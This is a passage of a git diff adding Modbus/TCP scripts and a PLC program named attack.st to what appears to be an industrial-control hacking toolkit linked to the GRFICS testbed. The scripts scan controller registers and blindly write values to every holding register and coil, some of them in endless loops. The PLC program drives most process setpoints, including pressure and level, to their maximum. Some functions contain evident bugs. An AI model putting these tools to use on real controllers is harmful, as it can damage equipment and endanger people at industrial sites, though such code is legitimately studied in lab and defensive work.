client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti 